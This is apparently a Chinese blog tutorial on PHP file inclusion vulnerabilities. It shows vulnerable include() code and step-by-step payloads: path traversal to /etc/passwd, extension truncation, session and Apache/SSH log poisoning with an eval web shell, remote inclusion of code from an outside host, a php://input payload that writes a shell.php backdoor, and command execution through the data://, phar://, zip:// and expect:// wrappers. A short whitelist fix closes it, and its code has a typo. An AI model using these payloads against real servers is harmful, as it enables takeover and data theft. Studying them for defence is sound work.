我的另一篇博客总结的不够全面,但依然有借鉴价值:https://www.cnblogs.com/Zeker62/p/15192610.html
PHP文件包含函数有以下四种:
require()/require_once()
:如果在包含过程中有错,那么直接退出,不执行进一步操作。
include()/include_once()
: 如果在包含过程中出错,只会发出警告
加上后缀_once的作用:如果文件已经包含过了,那么不会再次包含
当利用这四大漏洞函数包含文件的时候,不论什么类型的文件,都会作为PHP脚本解析
文件包含漏洞示例代码如下:
<?php $file=$_GET['file']; include $file; ?>
上面的代码没有对$_GET['file']
参数进行严格的过滤,直接代入到了include中去,攻击者可以传递file参数的值来达到攻击的目的,比如?file=../../etc/passwd
来实现窃读密码文件的目的。
无限制本地文件包含漏洞是没有为包含文件指定特定的前缀或者拓展名,因此攻击者可以利用文件包含漏洞读取操作系统中的其他文件,或者执行其他文件中的代码
目录 | 内容 |
---|---|
\boot.ini | 系统版本信息 |
\xxx\php.ini | PHP配置信息 |
\xxx\my.ini | MYSQL配置信息 |
\xxx\httpd.conf | Apache配置信息 |
目录 | 内容 |
---|---|
/etc/passwd | Linux系统账号信息 |
/etc/httpd/conf/httpd.conf | Apache配置信息 |
/etc/my.conf | MySQL配置信息 |
/usr/etc/php.ini | PHP配置信息 |
<?php $file=$_GET['file']; include ($file); ?>
通过目录遍历可以获取系统中/etc/passwd文件的内容,使用示例如下:
http://www.abc.com/flie.php?file=../../../../etc/passwd
可以通过文件包含功能执行任意拓展名的文件中的代码
比如:
在同一目录下,有如下名为phpinfo.txt文件:
<?phpinfo();?>
当页面访问index.php的时候,如果输入URL:
http://...../index.php?file=phpinfo.txt
就会轻而易举执行txt中的phpinfo()函数,并回显内容。
总结:这种情况的实现条件是:
有限制本地文件包含漏洞是指代码中为包含文件指定了特定的前缀或者拓展名,攻击者必须要对前缀或者拓展名过滤,才能达到利用文件包含漏洞读取操作。
常见的过滤绕过方式有三种:
这个漏洞的使用必须满足如下条件
<?php $file=$_GET['file']; include ($file.".html"); ?>
输入以下测试代码:
http://www.abc.com/xxx/file.php?file=../../../../../../boot.ini%00
通过%00截断了后面的html拓展名过滤,成功读取了boot.ini的内容
操作系统存在着最大路径长度的限制。可以输入超过最大路劲长度的目录,这样系统就会将后面的路劲丢弃,导致拓展名截断。
<?php $file=$_GET['file']; include ($file.".html"); ?>
输入测试以下代码:
http://www.abc.com/xxx/file.php?file=test.txt/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././
执行后发现已经成功截断了后面的拓展名
点号截断包含只使用与Windows系统,点号的长度大于256B的时候,就可以造成拓展名截断
<?php $file=$_GET['file']; include ($file.".html"); ?>
http://www.abc.com/xxx/file.php?file=test.txt.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
发现已经成功截断了html拓展名
当可以获取session文件路径并且session文件的内容可控的的时候,就可以通过包含session文件进行攻击
session文件包含的利用条件有两个:
一般通过以下两种方式获取session的存储位置:
session.save_path
/var/lib/php/session
目录下session文件包含代码如下
session_start(); $ctfs=$_GET['ctfs']; $_SESSION['username']=$ctfs
此代码可以通过GET型的ctfs参数传入。PHP代码将会获取的值存入到Session中。
攻击者可以利用ctfs参数将恶意代码写入到session文件中,然后在利用文件包含漏洞包含此session文件,向系统中传递恶意代码。
上面的代码满足Session文件包含的两个要求
访问URL:http://www.abc.com/xxx/session.php?ctfs=a
会在/var/lib/php/session目录下降ctfs传入的值存储到session中
Session的文件名以sess_开头,后跟Sessionid,Sessionid可以通过开发者模式获取:
单击右键——检查——存储——Cookie——PHPSESSID 就可以找到内容
假设通过开发者模式获取到的sessionid的值为hufh7hsdf392eurh4,所以session的文件名为sess_hufh7hsdf392eurh4
在/var/lib/php/session目录下查看此文件,内容为:username|s:4:"a"
通过上面的分析,可以得知,向ctfs参数传入的内容会存储到session文件中。
如果存在本地文件包含漏洞,就可以通过ctfs写入恶意代码到Session文件当中去,然后通过文件包含漏洞执行getshell
例如:访问代码http://www.abc.com/xxx/session.php?ctfs=<?php phpinfo();?>
后,会在/var/lib/php/session目录下降ctfs的值写入session文件
session文件的内容为:username|s:18:"<?php phpinfo();?>"
.
攻击步骤
比如:http://www.abc.com/xxx/file.php?file=../../var/lib/php/session/sess_7sdfysdfywy9323cew2
服务器的中间件,ssh服务都有日志记录的功能。如果开启了日志记录功能,用户访问的日志就会存储到不同服务的相关文件。
如果日志文件的位置是默认位置或者是可以通过其他方法获取,就可以通过访问日志将恶意代码写入到日志文件中去,然后通过文件包含漏洞包含日志中的恶意代码,获得权限。
典型的日志文件包含:
利用条件:
下面开始介绍日志文件包含漏洞利用步骤
中间件开启了访问日志记录功能,会访问日志写入到日志文件中。
假设访问URL:http://192.168.1.2/xxx/index.php
发现会在日志文件中有如下内容:
[root@aaa]#less /var/log/httpd/access_log 192.168.1.200 - - [09/Aug/2021:19:31:20 +0800] "GET /xxx/index.php HTTP/1.1" 200 86....
中间件日志访问会记录访问者的IP地址、访问时间、访问路径、返回状态码等等。
利用中间件访问记录路径到日志文件中的功能,将恶意代码写入到日志文件当中去:
添加恶意代码:http://www.abc.com/xxx/<?php @eval($_POST[123]);?>
此时会提示404,但是不急
查看日志文件,发现已经将内容写入
[root@aaa]#less /var/log/httpd/access_log 192.168.1.200 - - [09/Aug/2021:19:35:23 +0800] "GET /xxx/%3C?php @eval($_POST[123]);?%3E HTTP/1.1" 404 826....
虽然已经写入到日志文件中去了,但是浏览器进行了URL编码,导致传入的代码不能正常使用
可以通过burpsuite抓包的方式写入恶意代码,这样不会被浏览器进行URL编码
查看日志文件,内容如下
[root@aaa]#less /var/log/httpd/access_log 192.168.1.200 - - [09/Aug/2021:19:37:33 +0800] "GET /xxx/<?php @eval($_POST[123]);?> HTTP/1.1" 404 302....
恶意代码成功写入
要执行文件包含,必须要知道日志文件的位置。
常见的中间件日志文件都有默认的存储路径,比如Apache的中间件日志文件存在/var/log/httpd/目录下,文件名叫access_log
输入测试语句http://www.abc.com/xxx/file.php?file=../../../var/log/httpd/access_log
之后在向网页传入POST参数:123=phpinfo
即可显示出phpinfo的内容
SSH日志文件包含的利用条件是:
SSH日志文件的默认路径为/var/log/auth.log
下面介绍漏洞利用步骤
SSH如果开启了日志记录的功能,那么会将ssh的连接日志记录到ssh日志文件当中
将连接的用户名设置成恶意代码,用命令连接服务器192.168.1.1的ssh服务
ssh "<?php @eval($_POST[123]);?>"@192.168.1.1
查看日志文件/var/log/auth.log,可以观察到恶意代码已经写入到日志文件
测试输入语句:http://192.168.1.1/xxx/file.php?file=../../../var/log/auth.log
之后再向网页传入POST参数:123=phpinfo
就可以出现phpinfo的内容了
无限制远程文件包含是指包含文件的位置并不在本地服务器,而是通过URL的形式包含到其他服务器上的文件,以及执行文件中的恶意代码
漏洞利用的条件是:
allow_url_fopen=on allow_url_include=on
无限远程执行文件的代码如下:
<?php $file=$_GET['file']; include $file; ?>
设定一个文件:php.txt 的内容为<?php phpinfo();?>
在正常情况下访问远程服务器URL,http://192.168.2.1/php.txt
包含在php.txt中的phpinfo函数不会当做PHP代码执行,但是通过远程文件包含漏洞,包含在php.txt的phpinfo函数会被当做PHP代码执行
http://www.abc.com/file.php?file=http://192.168.2.1/php.txt
有限制的远程文件包含是代码中存在特定的前缀和后缀.php /.html 等拓展名过滤的时候,攻击者需要绕过前缀或者拓展名过滤,才能远程执行URL代码
示例代码如下
include($_GET['filename'].".html");
通常有限制的远程文件包含可以通过问号、井号、空格绕过
可以在问号后面添加html字符串,问号后面的拓展名会被当做查询,从而绕过过滤
http://www.abc.com/file.php?filename=http://192.168.2.1/php.txt?
可以在#后面添加HTML字符串,#会截断后面的拓展名,从而绕过拓展名过滤.#的URL编码为%23
http://www.abc.com/file.php?filename=http://192.168.2.1/php.txt%23
http://www.abc.com/file.php?filename=http://192.168.2.1/php.txt%20
PHP带有很多内置的URL风格的封装协议,可用于 fopen\copy\file_exists\filesize等文件系统函数
常见的PHP伪协议如下:
php://filter 是元封装器,设计用于数据流打开时筛选过滤应用,对本地磁盘文件进行读写
以下两种用法相同
?filename=php://filter/read=convert.base64-encode/resource=xxx.php
?filename=php://filter/convert.base64-encode/resource=xxx.php
使用php://filter allow_url_fopen和allow_url_include不需要开启
前缀名称 | 后加内容 | 描述 |
---|---|---|
resource= | 要过滤的数据流 | 指定要过滤的数据流 |
read= | 读链的筛选器列表 | 参数可选,可设定一个或者多个筛选器名称,以管道符(|)分隔 |
write= | 写链的筛选器列表 | 参数可选,可设定一个或者多个筛选器名称,以管道符(|)分隔 |
空 | 两个链的筛选器列表 | 没有用read=或者write=做前缀的筛选器列表会是轻快应用于读或者写 |
这样文件会以base64的编码打开,使用python解码即可
import base64 print(base64.b64decode("........."))
php://input可以访问请求的原始数据的只读流,即可以直接读取POST上没有经过解析的原始数据,但是使用enctype="multipart/form-data"的时候php://input是无效的。
php://input有以下三种用法
php://input可以读取POST上没有经过解析的原始数据
利用php://input 读取POST数据的时候,allow_url_fopen和allow_url_include不需要开启
示例代码如下
echo file_get_contents("php://input");
上面代码输出file_get_contents函数获取的php://input数据。
测试时传入POST数据字符串test
最后会在页面回显出test
利用php://input写入木马的时候,PHP配置文件只需要开启allow_url_include
如果POST传入的是PHP代码,就可以写入木马
示例代码如下:
<?php $file=$_GET['file']; include($file); ?>
如果POST传入的是一个执行写入木马的PHP代码,就会在当前目录下写入一个木马,通过POST方法传入的是以下代码
<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?>
利用php://input传入木马的PHP代码
http"//www.abc.com/xxx/file.php?file=php://input
测试的结果就是通过php://input传入了这个代码,并在当前目录下建立了shell.php文件
示例代码如下:
<?php $file=$_GET['file']; include($file); ?>
利用php://input执行命令的时候,PHP配置文件只需要开启allow_url_include
如果POST传入的是PHP代码,就可以执行任意代码,如果此时PHP代码调用了系统函数,就可以执行该命令
比如传入POST参数
<?php system('ls');?>
file:// 可以访问本地文件系统,读取本地文件的内容
使用file:// 不需要开启allow_url_fopen和allow_url_include
示例代码如下:
<?php $file=$_GET['file']; include($file); ?>
可以输入以下URL
http://www.abc.com/xxx/file.php?file=file://c:/boot.ini
这个命令就可以起到访问本地文件的目的
从PHP5.2.0起,数据封装流就开始有效,用于数据流的读取。
如果传入的都是PHP代码,就会执行任意代码
使用方法如下
data://text/plain;base64,xxxxx(base64编码后的数据)
利用data:// 时,PHP配置文件需要开启allow_url_fopen和allow_url_include
代码示例如下:
<?php $file=$_GET['file']; include($file); ?>
通过data:// 伪协议传送phpinfo代码,<?php phpinfo();?>
的base64编码为PD9waHAgcGhwaW5mbygpOz8+,需要对加号进行URL编码:%2b
最终输入的data数据是:
data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
传入到URL就是
http://www.abc.com/xxx/file.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
phar:// 是用来解压的伪协议
phar://不管参数中是什么拓展名,都会被当做压缩包
用法:?file=phar://压缩包/压缩文件
比如:phar://xxx.png/shell.php
利用phar:// 时,PHP配置文件需要开启allow_url_fopen和allow_url_include,并且PHP版本要高于5.3.0
注意:压缩包需要用zip://伪协议压缩而不能用rar://,将木马文件压缩后,改成任意后缀名都可以正常使用
代码示例如下:
<?php $file=$_GET['file']; include($file); ?>
写一个木马文件shell.php,然后用zip://伪协议压缩成shell.zip,最后修改后缀名为.png,上传图片
输入测试:http://www.abc.com/xxx/file.php?file=phar://shell.png/shell.php
这样phar://就会将png当做zip压缩包进行解压,并且访问解压后的shell.php文件
和phar://伪协议原理类似,但用法不同
用法:?file=zip://[压缩文件绝对路径]#[压缩文件内的子文件名]
利用zip:// 时,PHP配置文件需要开启allow_url_fopen和allow_url_include,并且PHP版本要高于5.3.0
注意:需要将#转换成URL编码:%23
代码示例如下:
<?php $file=$_GET['file']; include($file); ?>
输入测试:http://www.abc.com/xxx/file?file=zip://D:/phpstudy/www/.../test.png%23shell.php (zip必须是绝对路径)
这样zip://就会将png当做zip压缩包进行解压,并且访问解压后的shell.php文件
expect://伪协议用来执行系统命令,但是需要安装拓展
用法: ?file=expect://ls
可以在代码层对文件包含进行过滤,设置包含的参数的白名单,假设网站只包含文件为index.php和admin.php
就可以定义好代码如下:
<?php $filename=$_GET['filename']; switch ($filename) { case 'index': case 'admin': include('/var/www/html/'.filename.'.php'); break; default: break; } ?>